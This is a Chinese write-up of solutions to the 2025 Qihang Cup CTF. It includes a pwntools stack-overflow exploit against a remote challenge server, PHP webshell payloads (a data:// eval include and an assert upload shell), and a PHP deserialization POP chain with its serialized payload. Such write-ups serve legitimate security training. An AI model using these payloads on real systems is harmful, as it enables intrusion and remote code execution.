2025第一届“启航杯”网络安全挑战赛-WriteUp

解题情况


最终排名19,22道题目,20解,一道社工的你猜猜这是哪和取证的Win_06没解出来,题目质量并不高。其中逆向、密码均为wheeler大佬提供的wp,猿类的语言的wp为beginner大佬提供。

MISC

QHCTF For Year 2025

根据提示画图080714212829302316092230-04111825121306132027-0605041118252627-08091009162330-0102031516170108152229-0108142229-0203041617180209162330-0108152229303124171003-231609021725181104-01020917233029

FLAG为QHCTF{FUN}

______启动!

挨个查看了一下流量,基本上都是加密的,最有线索的是流135,很像是webshell的流量,但是最终返回的是403,自己解密拿不到内容

感觉像是冰蝎的流量,通过PuzzleSolver解密出下面内容,他是冰蝎4的流量

通过豆包解密

flag为QHCTF{69b62b46-de2f-4ac2-81f7-234613d25cfb}

你能看懂这串未知的文字吗

翻了好多,找到一个差不多的,羊文
解密拿到内容szfpguwizgwesqzoaoerv,直接提交是失败的,继续从图片中找内容,发现有一个lsb隐写

拿到lsb的字符串qihangbeiiseasy,之后使用维吉尼亚密码尝试解密拿到flag

cryptoveryeasybysheep,在羊文图中后面有三个!,加上即可
flag为QHCTF{cryptoveryeasybysheep!!!}

请找出拍摄地所在位置

图片内如如下

根据可用信息绿源雅迪洋丰复合肥柳化复合肥去地图中挨个找。
找到下面地址https://j.map.baidu.com/74/OpSi

flag为QHCTF{广西壮族自治区柳州市柳城县榕泉路与六广路交叉口}

PvzHE

纸老虎,直接按日期排序,最早的图片中就有flag

猿类的编程语言你了解吗


用工具jphs出了,原来的其他隐写工具没出来

seek后出来一个okk码

1
.. .. .. .. .. .. .. .. .. .. !? .? .. .? .. .. .. .? .. .. .. .. .. .. .. .? .. .. .. .. .. .. .. .. .. .. ?. ?. ?. ?. !! ?! .? .? .? .. .. .. .. .. .. .. .. .. .. .. !. !! !! !! !! !! !! !! !! !! !. !! !! !! !! !! !. .? !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !. ?. .. .. .. !. .? .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. !. ?. ?. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. !. .? .? !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !. ?. ?. .. .. .. !. !. .? .? !. ?. ?. !! !! !! !! !! !. .? .? .. !. ?. ?. .. .. .. .. !. !! !! !! !! !! !! !! !. .? .? !! !! !! !! !. ?. ?. .. .. .. .. .. .. .. .. !. .? .? !. ?. ?. .. .. .. .. !. !! !! !! !! !! !! !! !! !! !! !! !! !. .. .. .. .. .. .. .. !. !! !! !! !! !. .? .? .. .. .. .. !. !! !! !! !! !. ?. ?. !! !! !! !. .. .. .. .. .. .. .. .. .. .. .. !. !! !! !! !! !! !! !! !! !. .? .? .. .. .. .. .. !. ?. ?. .. .. .. .. !. !! !! !! !! !! !! !! !. .? .? !! !! !! !! !. .. !. ?. ?. .. .. .. .. .. .. !. .. .. .. !. !! !! !! !! !! !! !. .. .. .. !. .? .? !! !! !. ?. ?. !! !! !! !. .? .? .. .. .. .. !. !! !! !! !! !. ?. ?. .. .. .. !. .. .. .. .. .. .. !. .? .? .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. !.


解密拿到flag

你猜猜我在哪


赛后公布的flag
QHCTF{湖南省郴州市汝城县滨河大道与神农大道交叉路口}

Crypto

Easy_RSA

RSA签到题难度,给了公钥与私钥,直接解即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

key = RSA.generate(1024)
private_key = key.export_key()
public_key = key.publickey().export_key()

print("私钥:")
print(private_key)
print("公钥:")
print(public_key)

def encrypt_message(message, public_key):
key = RSA.import_key(public_key)
cipher = PKCS1_OAEP.new(key)
encrypted_message = cipher.encrypt(message.encode())
return base64.b64encode(encrypted_message).decode()


message = "Hello, this is a secret message!"

encrypted = encrypt_message(message, public_key)
print("加密后的消息:")
print(encrypted)



private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQDDe2nPHYHbOm8UeieE0c2Dd8Avd7XEk3+Gi81rDkaRfbj9bNsP\n4TzkaY8VLTLuk36W6FQOowkfekbWxIx0jxNrhN2K+F5o4HQvyVDY/t14HYrWFR3c\nYo8abbrHc4RlEnxvyKlS8hlw1sPwXYvicVYE27Vdq3J7Y4VVZ8tWtBLuaQIDAQAB\nAoGAI5BJUK/qlwrLeKs8k1JkFD3uDfS2cfvvoHfAuHBRcFiyFhD+zaXJoTh/Gngt\nou/cgPHlkQAiQcLKLnp1nyMEgiK1NNwAtroS8lm1K4AZ3ltIKgqq4cnQSuFDDXZB\nw96P+DCkjI1hSRE+/TZ7cN9SllCVj6tS1Y7V76sMPNEoH80CQQDfBqSkGPWZm9zQ\nNVnrIizeEhz/aa7LJeYxirmkQy2X7Hs0vB2Y30a7ICU4LwnT+9ugFLM2mmpgrjLh\nVKN/uHL7AkEA4GJBqavJktwYCtTUnLWYIfsGMO5KZAdjZS1wvea2miZYJc6Qn61p\najON4PaSWEUQEKqk+9fwrsU3lrglmBaG6wJAE8IU5+zGJVunjlKLqscWTn4wT3hf\nYePzpsPxelnxOhpbN+rKfHabX4yTf4y7RCp15JKw5c98SSBlpYzIB1Kh7QJBANwW\nREXCZFMSYtqs62ZSkEg0SlxQPtNik9G4Am+iDtWgarGarSySEWXD75QLBnxiMWHH\nn1AO/NrQQrgpI2bMIcUCQQCI5JQzp8FmyjjOsrJiwT0NWiTdko6qMCZ4LEFMY0s8\nGylIRw11S0K+dU0LI4Xs92AxuA1BPN25KMGmwvxtWmPR\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDe2nPHYHbOm8UeieE0c2Dd8Av\nd7XEk3+Gi81rDkaRfbj9bNsP4TzkaY8VLTLuk36W6FQOowkfekbWxIx0jxNrhN2K\n+F5o4HQvyVDY/t14HYrWFR3cYo8abbrHc4RlEnxvyKlS8hlw1sPwXYvicVYE27Vd\nq3J7Y4VVZ8tWtBLuaQIDAQAB\n-----END PUBLIC KEY-----'
cip = b"v1XpEQbLRdiqwgZXbn0xBNQ7kjCD3MgwbJa+ZQUmpPz++ZFw3FGjUKL140Rqceukiwq44xGy3ZqRfPZHRg7KISN/544dWq4rHcOx4I087oTYrHVjESsBJMxnpSuBNB6jEQVcPRapDlitHsNdkphIr24cwstzLzwcf1ORpWYDugg="

def decrypt_message(encrypted_message, pri_key):
message = base64.b64decode(encrypted_message)
key = RSA.import_key(pri_key)
cipher = PKCS1_OAEP.new(key)
ming = cipher.decrypt(message)
return ming

m = decrypt_message(cip,private_key)
print(m)

PWN

Easy_pwn

经典栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"
# sh = process("./pwn1")
sh = remote("154.64.245.108",33275)



ret = 0x0000000000401016
back_door = 0x0000000004011C6
payload = b"a"*0x58 + p64(ret) + p64(back_door)
sh.sendlineafter(b"Welcome to QHCTF 2025!\n",payload)

sh.interactive()

Reverse

Checker

就一异或

1
2
3
4
5
6
cip = bytes.fromhex("726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E")
cip = bytearray(cip)
for i in range(len(cip)):
cip[i] ^= 0x23

print(bytes(cip))

rainbow

就一异或 x2

1
2
3
4
5
cip = bytearray(bytes.fromhex("0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227"))
for i in range(len(cip)):
cip[i] ^= 90

print(bytes(cip))

note

去下载最新版 upx来对note进行脱壳
https://github.com/upx/upx/releases/tag/v4.2.4
brva 0x0000000000012A8 下断点,即可看到flag

WEB

Easy_include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['file'];
if(isset($file))
{
if(!preg_match("/flag/i",$file))
{
include($file);
}
else
{
echo("no no no ~ ");
}
}
else
{
highlight_file(__FILE__);
}

?>

通过payload?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOyA/Pg==
构造一个一句话木马,直接通过蚁剑连接即可,因为是动态flag这里不多写了。

PCREMagic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function is_php($data){
return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
if (!is_dir($user_dir)) {
mkdir($user_dir, 0755, true);
}
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
exit;
}
?> 1

手写一个提交文件的网页

1
2
3
4
5
6
7
8
<form
action="http://challenge.qihangcup.cn:35056/"
method="POST"
enctype="multipart/form-data"
>
<input type="file" name="file" />
<input type="submit" value="Upload File" />
</form>

action写自己的靶机地址,之后上传一句话木马

1
<?php assert($_POST['shell']); ?>

自己可以构造一个phpinfo查看禁用的函数,这里只能通过assert伪造

编码器记得勾选base64,不然都是不能用的,必须用编码绕过。

Web_IP

php的SSIT,直接构造一个查看flag的

Web_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to QHCTF 2025, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

构造代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
// error_reporting(0);
// highlight_file(__FILE__);
class Start
{
public $name;
public $func;
// protected $func;

// public function __destruct()
// {
// echo "Welcome to QHCTF 2025, " . $this->name;
// }

// public function __isset($var)
// {
// ($this->func)();
// }
}

class Sec
{
// private $obj;
// private $var;
public $obj;
public $var;

// public function __toString()
// {
// $this->obj->check($this->var);
// return "CTFers";
// }

// public function __invoke()
// {
// echo file_get_contents('/flag');
// }
}

class Easy
{
public $cla;

// public function __call($fun, $var)
// {
// $this->cla = clone $var[0];
// }
}

class eeee
{
public $obj;

// public function __clone()
// {
// if (isset($this->obj->cmd)) {
// // echo "success";
// }
// }
}

$f = new Sec();
$e = new Start();
$d = new eeee();
$c = new Easy();
$b = new Sec();
$a = new Start();

$e->func = $f;
$d->obj = $e;
$c->cla = $d;
$b->var = $d;
$b->obj = $c;
$a->name = $b;


echo serialize($a);

O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:3:"var";r:4;}s:4:"func";N;}

Forensics

关于动态取证

流程是e01->FTK Image工具->转换raw->通过qume-img->转换vmware虚拟磁盘,导入虚机即可

Win_01

1.找出系统中蛤客的ip地址及端口,提交方式请以QHCTF{md5(127.0.0.1:80)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}

动态调试系统发现Server2.exe是被删除的,通过取证工具给他拖出来,就是在HackY$的开机启动目录

拖出来之后各种沙箱分析,最终在安恒的沙箱中出现了一个ip

flag即QHCTF{md5{192.168.20.1:8000}}即QHCTF{ad4fdee2eada36ec3c20e9d6311cf258}

Win_02

2.蛤客在控制小明的系统后,创建了一个最高权限的后门账户,请你找出该账户的用户名及密码,提交方式请以QHCTF{md5(user_password)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}
参考文档https://blog.51cto.com/u_16747374/12268420

获取账号密码hash,最红hash解密为123456即账flagQHCTF{md5(HackY$_123456)}QHCTF{fb484ad326c0f3a4970d1352bfbafef8}

Win_04

4.蛤客在系统数据库中藏了一些东西,请你找出其中的flag值
动态取证直接去cmd打开regedit就可以直接拿到flag,这是最快的方法,它默认退出的位置就是他设置flag的位置,也可以通过一个reg

文件获取,进去直接搜索QHCTF即可拿到flag

Win_05

5.小明在找你帮忙之前,喊了他的一位好友帮他先行取证,请你找出他好友远程所使用的软件,并找出控制了多少秒,ip是什么,提交方式请以QHCTF{md5(xxxx_10_127.0.0.1)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}
在下载目录中Download中,有两个Todesk,去翻找它们的日志文件,也可以直接从去取证大师中直接拿到ip和时间

flag即QHCTF{md5(Todesk_781_223.104.132.99)
其中时间计算他这里是有误的,他这个时间计算是779,可能存在计算误差,挨个累加尝试到781成功即flagQHCTF{dca8df29e49e246c614100321e3b932e}

Win_07

7.蛤客在home目录中存放了一个恶意程序,请你分析该程序,并找到其中的flag值
在HackY$的Desktop(桌面)中存放着

这个内容,通过执行命令set拿到环境变量,即密码

拿到密码解密内容为即flagQHCTF{6143b46a-8e98-4356-a9b2-251a7ec19e51}